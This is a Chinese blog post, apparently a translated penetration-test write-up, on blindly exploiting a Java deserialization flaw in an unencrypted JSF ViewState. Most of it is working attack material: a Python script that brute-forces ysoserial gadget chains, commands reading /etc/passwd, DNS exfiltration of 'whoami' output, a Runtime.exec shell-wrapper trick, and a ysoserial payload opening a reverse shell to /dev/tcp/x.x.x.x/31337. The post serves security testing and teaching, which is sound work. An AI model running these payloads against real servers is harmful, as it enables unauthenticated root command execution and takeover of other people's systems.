java httpinvoker漏洞_一次Java反序列化漏洞的 “盲”利用

在黑盒渗透测试中,我们遇到了一个 Java Web 应用程序,它向我们提供了一个登录页面。尽管我们设法绕过了认证机制,但是我们却做不了什么事情。攻击面还是很小,只能篡改一些东西。

1. 确定入口点

在登录页面中,我注意到每个登录请求都发送了一个隐藏的 POST 参数:

这是个 Base64 RO0 (AC ED 的 HEX 编码)编码的字符串,证实了我们处理的是 Base64 编码过的 Java 序列化对象。Java 对象实际上是一个未加密的 JSF ViewState。由于反序列化的漏洞以其恶作剧而臭名昭著,所以我开始搞砸了。

2. 对输入点进行模糊测试

2.1 一些不太幸运的尝试

此时,我不太确定底层的操作系统。通过ysoserial,我生成了一些有效载荷,将用于 ping ip,读取文件或造成响应延迟。这包括:

Linux 有效载荷:

ping -c 1 server.local cat /etc/passwd sleep 5

Windows 有效载荷:

ping -n 1 server.local type C:Windowswin.ini timeout 5

然而没有成功。没有 ping 或 DNS 请求到我们的服务器。应用程序始终以 HTTP 500 内部服务器错误进行响应,并引发了 ServletException,但 不提供其他输出信息。服务器马上就响应了,也没有延时。

2.2 在输入点进行爆破

由于无法确定哪个有效载荷能够工作,我必须自动化这个过程。我写了一个快速和肮脏的 Python 脚本,将生成一个包含所有有效载荷的攻击文件。我做了如下一些事情:

· 只选择接受完整操作系统命令的有效负载作为参数。没有必要(目前)支持 所有 这些 payload。所以我删除了几个 ysoserial 有效载荷。

· 一旦有效载荷被触发,我想知道是哪一个 payload 以及服务器运行的操作系统版本。

· 由于我不想混淆请求(添加对 GET,POST,cookies,HTTP auth 等的支持),所以我想用一个换行符分隔的文本文件生成有效载荷,这个文本文件可以作为 Burp 爆破器的有效载荷的输入文件。

代码如下:

import os import base64 payloads = [ ’ BeanShell1 ’ , ’ Clojure ’ , ’ CommonsBeanutils1 ’ , ’ CommonsCollections1 ’ , ’ CommonsCollections2 ’ , ’ CommonsCollections3 ’ , ’ CommonsCollections4 ’ , ’ CommonsCollections5 ’ , ’ CommonsCollections6 ’ , ’ Groovy1 ’ , ’ Hibernate1 ’ , ’ Hibernate2 ’ , ’ JBossInterceptors1 ’ , ’ JRMPClient ’ , ’ JSON1 ’ , ’ JavassistWeld1 ’ , ’ Jdk7u21 ’ , ’ MozillaRhino1 ’ , ’ Myfaces1 ’ , ’ ROME ’ , ’ Spring1 ’ , ’ Spring2 ’ ] def generate ( name, cmd ) : for payload in payloads: final = cmd.replace ( ’ REPLACE ’ , payload ) print ’ Generating ’ + payload + ’ for ’ + name + ’ ... ’ command = os.popen ( ’ java -jar ysoserial.jar ’ + payload + ’ " ’ + final + ’ " ’ ) result = command.read ( ) command.close ( ) encoded = base64.b64encode ( result ) if encoded != "": open ( name + ’ _intruder.txt ’ , ’ a ’ ) .write ( encoded + ’ n ’ ) generate ( ’ Windows ’ , ’ ping -n 1 win.REPLACE.server.local ’ ) generate ( ’ Linux ’ , ’ ping -c 1 nix.REPLACE.server.local ’ )

generate 函数有两个参数:第一个是文件名(例如 windows_intruder.txt),第二个是将要执行的命令。我选择了 ping 我们的服务器 IP 的命令。应用程序应该 ping 下面的子域:

{{OS}}.{{PAYLOAD}}.server.local

从而确认操作系统和成功的有效载荷。

3. 开始攻击

3.1 确认漏洞

我开始生成有效载荷:

用 Burp 的爆破器发送所有的有效载荷:

并检查我们的服务器上的 DNS 的查询日志:

root@server.local:-# tail -f /var/log/named/query.log 31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61663 ( nix.CommonsCollections1.server.local ) : query: nix.CommonsCollections1.server.local IN A -ED ( x.x.x.x ) 31-Oct-2017 13:37:01.000 queries: info: client y.y.y.y#53844 ( nix.CommonsCollections6.server.local ) : query: nix.CommonsCollections6.server.local IN A -ED ( x.x.x.x )

经过一番爆破,我们取得了一石二鸟的战果:现在我们知道系统是基于 Linux 的,下面的有效载荷允许我们执行任意代码:CommonsCollections1 和 CommonsCollections6。

3.2 提取数据

在尝试创建一个有风险的后端连接(HTTP,TCP 等)之前,我决定尝试提取一些数据,从而确认这是一个真正的远程命令执行(IDS 解码了 base64 编码过的值和解析里面的 URL 也可以发出一个 DNS 请求。因为它应该触发所有的有效载荷,但是你并没有天天看到有 RCE 发生 )。使用 CommonsCollections1 小工具,我生成了两个使用以下命令的有效载荷:

`whoami`.exp.server.local $ ( whoami ) .exp.server.local

不幸的是,日志中填充了如下信息:

root@server.local:-# tail -f /var/log/named/query.log 31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#56055 ( `whoami`.exp.server.local ) : query: `whoami`.exp.server.local IN A -ED ( x.x.x.x ) 31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61636 ( $ ( whoami ) .exp.server.local ) : query: $ ( whoami ) .exp.server.local IN A -ED ( x.x.x.x )

由于某种原因,命令替换似乎不起作用。经过几次失败的尝试后,我决定去看看 CommonsCollections1 和 CommonsCollections6 可用的小工具点击这里查看。

感谢作者,完整的小工具链作为注释写在了代码中。我们可以很快注意到以下几点:

CommonsCollections1

... SNIP ... InvokerTransformer.transform ( ) Method.invoke ( ) Runtime.exec ( ) CommonsCollections6 ... SNIP ... org.apache.commons.collections.functors.InvokerTransformer.transform ( ) java.lang.reflect.Method.invoke ( ) java.lang.Runtime.exec ( )

两个有效载荷的 shell 命令最终由 Java 的 Runtime.exec ( ) 执行。我们知道Runtime.exec ( ) 的行为不像一个普通的 shell,所以我们不得不修改有效载荷。幸运的是,前面提到的文章为我们提供了一个完整的实例。最后的命令应该是这样的:

sh -c $@|sh . echo ping $ ( whoami ) .exp.server.local

3.3 获得 ROOT 权限

我们使用 ysoserial 手动生成负有效载荷 :

java -jar ysoserial.jar CommonsCollections1 ’ sh -c $@|sh . echo ping $ ( whoami ) .exp.server.local ’ | base64 | tr -d "n"

对有效负载进行 URL 编码并发送出去。让我们再次检查我们的服务器的 DNS 日志:

root@server.local:-# tail -f /var/log/named/query.log 31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#40350 ( root.exp.server.local ) : query: root.exp.server.local IN A -ED ( x.x.x.x )

看起来今天是我们的幸运日啊。我们得到了一个远程的未经验证的 root 命令执行。并不是说我们没有见过这个。

当然,我们抓住了这次机会,然后试图获得一个反向的 shell:

java -jar ysoserial.jar CommonsCollections1 ’ sh -c $@|sh . echo bash -i >& /dev/tcp/x.x.x.x/31337 0>&1 ’ | base64 | tr -d "n"

我会让你猜一猜看,上面的命令是否执行成功了;)。

4. 一点总结

在利用 Java 反序列化漏洞时,我会列举一些需要注意的事项:

· 经过几次失败之后,不要放弃。Java 反序列化的利用是相当棘手的,确保在继续之前用尽所有的可能性(有效载荷,命令)。

· 向外部通信一般都是不行的。有时你必须要有创意。

· 请确保你没有忘记对由 ysoserial 生成的有效负载进行 URL 编码。Burp 的爆破器需要 URL 编码,Burp 的重放工具不需要编码所有必要的字符(即使你把它粘贴在 " 参数 " 选项卡中)。

· 请查看 Burp Suite 的 Java 反序列化插件。有些将会被动地识别序列化的 Java 对象,有些将帮助你进行漏洞利用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值